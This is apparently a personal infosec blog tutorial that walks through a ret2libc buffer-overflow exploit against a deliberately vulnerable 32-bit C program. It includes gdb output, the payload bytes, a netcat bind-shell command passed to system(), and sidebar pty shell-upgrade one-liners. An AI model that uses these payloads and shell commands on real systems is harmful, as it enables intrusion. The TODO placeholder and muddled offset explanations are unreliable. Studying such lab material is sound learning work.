akde/infosec

Information security is ultimately about managing risk


Assume that we detect­ed a buffer over­flow vul­ner­a­bil­i­ty, but

  • we don’t have enough space on the stack for our shellcode
  • or the bina­ry’s stack is marked as not-exe­cutable (DEP enabled).

Then we can try to call a com­mon library which is also loaded (wie the plt).

Walkthrough of a ret2lib attack

Before we start, dis­able ASLR as fol­lows. Cir­cum­vent­ing this is anoth­er topic.

# echo 0 > /proc/sys/kernel/randomize_va_space

We have the fol­low­ing pro­gram with a buffer over­flow vulnerability:

#include <stdio.h>
#include <stdlib.h>

void print_name() {
	char name[20];
	printf("Enter your name: ");
	gets(name);
	printf("Hello ");
	puts(name);
	printf("\n");
}

int main() {
	print_name();
	return 0;
}

Com­pile it as fol­lows as

  • a 32 bit appli­ca­tion (same prin­ci­ple, but short­er addresses),
  • with­out canary for the stack pro­tec­tion and
  • with­out PIE (posi­tion inde­pen­dent code)

with the fol­low­ing command:

gcc -m32 -fno-stack-protector -no-pie test.c

Exe­cute it and enter 20 bytes. Then more. And more.

$ ./a.out < <(python -c 'print("A" * 20)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAA

$ ./a.out < <(python -c 'print("A" * 24)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAA

$ ./a.out < <(python -c 'print("A" * 28)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ ./a.out < <(python -c 'print("A" * 32)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault

It crash­es with 32 A’s. We know that the char buffer from the code is 20 bytes large. So – why did it not crash before?

Lets inspect the bina­ry. Open GDB and dis­as­sem­ble the print_name function.

$ gdb a.out
...
gdb-peda$ disass print_name

We see the fol­low­ing assem­bler code:

   0x080484b6 <+0>:	push   ebp
   0x080484b7 <+1>:	mov    ebp,esp
   0x080484b9 <+3>:	push   ebx
   0x080484ba <+4>:	sub    esp,0x24
   0x080484bd <+7>:	call   0x80483f0 <__x86.get_pc_thunk.bx>
   0x080484c2 <+12>:	add    ebx,0x1b3e
   0x080484c8 <+18>:	sub    esp,0xc

   0x080484cb <+21>:	lea    eax,[ebx-0x1a30]
   0x080484d1 <+27>:	push   eax
   0x080484d2 <+28>:	call   0x8048340 <printf@plt>
   0x080484d7 <+33>:	add    esp,0x10
   0x080484da <+36>:	sub    esp,0xc

   0x080484dd <+39>:	lea    eax,[ebp-0x1c]        // (1)
   0x080484e0 <+42>:	push   eax                   // (2)
   0x080484e1 <+43>:	call   0x8048350 <gets@plt>  // (3)
   0x080484e6 <+48>:	add    esp,0x10
   0x080484e9 <+51>:	sub    esp,0xc
...

We see that in the pro­log of the gets func­tion, 0x1C = 28 bytes are allo­cat­ed on the stack. Two bytes more. Why?

  • Func­tion prolog
    • (1) 0x12 bytes are allo­cate on the stack. The stack base address is stored in the eax register.
    • (2) The cur­rent stack base address in eax is pushed to the stack. It becomes now the saved stack pointer. 
  • (3) Func­tion call
  • Func­tion epilog
    • (4) TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO

OK, now we under­stand why we need two bytes more before we can over­write the base point­er. Let’s do it: Still in GDB, run the pro­gram again, but split the input into three parts.

gdb-peda$ run < <(python -c 'print("A" * 20 + "B" *8 + "C" * 4)')
Starting program: /home/deadlist/re2libc_2021-06-30/a.out < <(python -c 'print("A" * 20 + "B" *8 + "C" * 4)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAABBBBBBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xa ('\n')
EBX: 0x42424242 ('BBBB')
ECX: 0xf7fb4890 --> 0x0
EDX: 0xa ('\n')
ESI: 0xf7fb3000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x43434343 ('CCCC')
...

We see that we could over­write the base reg­is­ter EBX and the base point­er EBP with our val­ues. Now lets try to call system from libc. For this, we need

  1. the address from system
  2. the return address (if we are want the pro­gram to con­tin­ue nor­mal­ly; we don’t need this else and could crash the pro­gram after our execution)
  3. argu­ments for the sys­tem call

We get these val­ues as fol­lows: Open GDB, run the pro­gram one time and print the address for sys­tem and exit:

$ gdb a.out
...
gdb-peda$ run
Enter your name: dfsf
Hello dfsf

[Inferior 1 (process 6678) exited normally]
Warning: not running
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e1ad80 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e0dfd0 <exit>

Now we need the argu­ment for sys­tem. We use an envi­ron­ment vari­able for this to have the space we need also for longer pro­gram calls.

export NC="nc.traditional -lnvp 8888 -e /bin/sh"

All envi­ron­ment vari­ables are stored in the process mem­o­ry. Lets see where our vari­able will be: (env executable->see dis­as­sem­bly dir on p151)

$ ./env NC a.out
NC will be at 0xffffde94

Now we made our call where we use after the buffer with A’s

  1. the address of system,
  2. the exit address and
  3. the address of our envi­ron­ment variable.
$ (python -c 'print("A" * 20 + "\x80\xad\xe1\xf7" + "\xd0\xdf\xe0\xf7" + "\x94\xde\xff\xff")') | ./a.out
Enter your name: Hello AAAAAAAAAAAAAAAAAAAA
sh: 1: lnvp: not found

We have exe­cu­tion, but our address with the envi­ron­ment vari­able is not right yet. Lets decrease the bold-print­ed byte of the argu­ment until we find the start address.

$ (python -c 'print("A" * 20 + "\x80\xad\xe1\xf7" + "\xd0\xdf\xe0\xf7" + "\x84\xde\xff\xff")') | ./a.out
Enter your name: Hello AAAAAAAAAAAAAAAAAAAA
listening on [any] 8888 ...

€prof­it!

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';